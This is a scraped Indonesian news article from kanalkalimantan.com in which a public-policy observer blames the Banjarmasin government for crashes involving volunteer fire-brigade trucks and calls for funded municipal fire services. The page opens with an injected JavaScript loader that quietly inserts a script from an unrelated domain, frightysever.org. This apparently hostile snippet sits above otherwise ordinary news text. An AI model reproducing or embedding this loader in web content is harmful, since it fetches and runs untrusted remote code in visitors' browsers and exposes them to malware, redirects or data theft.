(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,BANJARMASIN – Insiden kecelakaan lalu lintas (Lakalantas) melibatkan armada Damkar (Pemadam Kebakaran) di Banjarmasin, pada Rabu (5/1/2021) kemarin, menjadi sorotan banyak pihak.
Mobil relawan Damkar yang terjun untuk memadamkan api saat menuju lokasi kebakaran kembali terulang menabrak pengguna jalan umum di kota Banjarmasin, hingga membentur gapura pinggir jalan.
Mencermati kejadian itu, Muhammad Pazri, pengamat kebijakan publik angkat bicara berkenaan dengan relawan Damkar saat menabrak pengendara sepeda motor di Jalan Sutoyo S, Teluk Dalam, Banjarmasin.
“Tanggung jawab pertama itu harusnya ada pada pemerintah, dengan menyediakan sarana prasarana pemadam kebakaran.
Kemudian melakukan manajemen potensi kebakaran, pencegahan kebakaran pada bangunan gedung dan lingkungan, pengendalian keselamatan kebakaran, penanggulangan kebakaran,” beber Muhammad Pazri.
Baca juga : Ratusan Siswa SD di Kotabaru Ikuti Vaksinasi, Dirayu Guru Biar Tidak Takut Disuntik
Baru kemudian melibatkan peran serta masyarakat dalam kerjasama penanggulangan kebakaran dan pembinaan, pemberdayaan, dan pengawasan.
Namun sayangnya, kewajiban pemerintah daerah tersebut saat ini, duga Pazri, terkesan beralih ke barisan Damkar swadaya masyarakat yang justru dibangga-banggakan oleh pemerintah kota karena kuantitasnya.
“Sebenarnya banyak BPK ini adalah potensi baik, apabila dibina dengan baik, bahkan menjadi karakteristik kota karena jiwa sosial tinggi dan kebersamaan tinggi untuk gotong royong, menjadi bangga kita Kalsel,” beber Pazri.
Tapi perlu kita ingat sepanjang tahun 2015- 2021 saja ada banyak kejadian insiden kecelakaan melibatkan armada Damkar swadaya. Bahkan sampai menelan korban jiwa, baik dari anggota Damkar sendiri dan masyarakat.
“Mungkin masih segar kita atas pemberitaan kecelakaan Damkar swasta dengan pengguna jalan lain yang merenggut korban jiwa, dan ternyata kembali terjadi di Jalan Sutoyo S Teluk Dalam hingga membuat dua orang perempuan koma,” katanya.
Baca juga : Bangkit dari Pandemi, Kerajinan dan Perhiasan Khas Martapura Diharapkan Tembus Pasar Dunia
Bagaimana tanggungjawab pemerintah? kalau mau diuji, minta ganti rugi dan lain sebagainya, dengan dasar untuk upaya hukum mengacu kepada Peraturan Mahkamah Agung Nomor 2 Tahun 2019 tentang pedoman penyelesaian sengketa tindakan pemerintahan dan kewenangan mengadili perbuatan melanggar hukum oleh badan dan atau pejabat pemerintahan (Onrechtmatige Overheidsdad). “Bisa saja, tapi itu bukan solusi tepat,” tegasnya.
“Jika kita lihat apablia terjadi musibah kebakaran di kota ini, seakan akan jalan-jalan berubah menjadi sirkuit mobil balap dengan berbagai macam model variasinya, berlomba-lomba mencapai garis finish, seakan tidak peduli pengendara lain lagi,” nilainya.
“Kita semua tahu dan mengerti mobil ambulans dan damkar itu diprioritaskan di jalan, tapi damkar professional tidak ugal-ugalan seperti itu. Mereka terukur dan tidak membahayakan diri sendiri dan orang lain,” ungkapnya.
Niat mau menolong orang bagus, tapi mengorbankan diri sendiri dan orang lain. Belum perihal para driver damkar swadaya masyarakat yang tidak memiliki SIM atau bahkan masih di bawah umur ini malah sangat membahayakan.
Baca juga : Begini Kronologis Tragedi Maut yang Tewaskan Pebengkel di Buntok
Belum lagi jika berbicara kualitas Damkar swasta di kota ini, sudah banyak gedung bertingkat, jika terjadi kebakaran di gedung tersebut apakah damkar swasta bisa melakukannya. Lalu apakah damkar pemerintah kota memiliki fasilitas untuk memadamkan kebakaran di gedung bertingkat.
“Bagaimana dengan SDM-nya, apakah mereka pernah dilatih cara memadamkan kebakaran di gedung bertingkat,” bebernya.
Sudah ada Perda Nomor 13 Tahun 2008 tentang pencegahan dan penanggulangan bahaya kebakaran di Kota Banjarmasin, tapi pelaksanaan yang belum optimal dan perlu di-upadate.
Sebagai warga kota Banjarmasin merasa resah atas kejadian lakalantas melibatkan damkar swadaya. Menurutnya pemerintah kota dan provinsi harusnya turun tangan menyediakan fasilitas damkar yang baik sesuai dengan peraturan perundang-undangan.
“Berikan prioritas anggaran, bangun fasilitas damkar pemerintah di setiap kecamatan dan anggotanya dibiayai oleh APBD. Jangan swadaya masyarakat lagi, agar penanganan musibah kebakaran di kota ini ditangani secara professional, dan insiden seperti kemarin tidak terulang lagi,” tandasnya. (kanalkalimantan.com/seno)
Reporter : seno
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
This website uses cookies.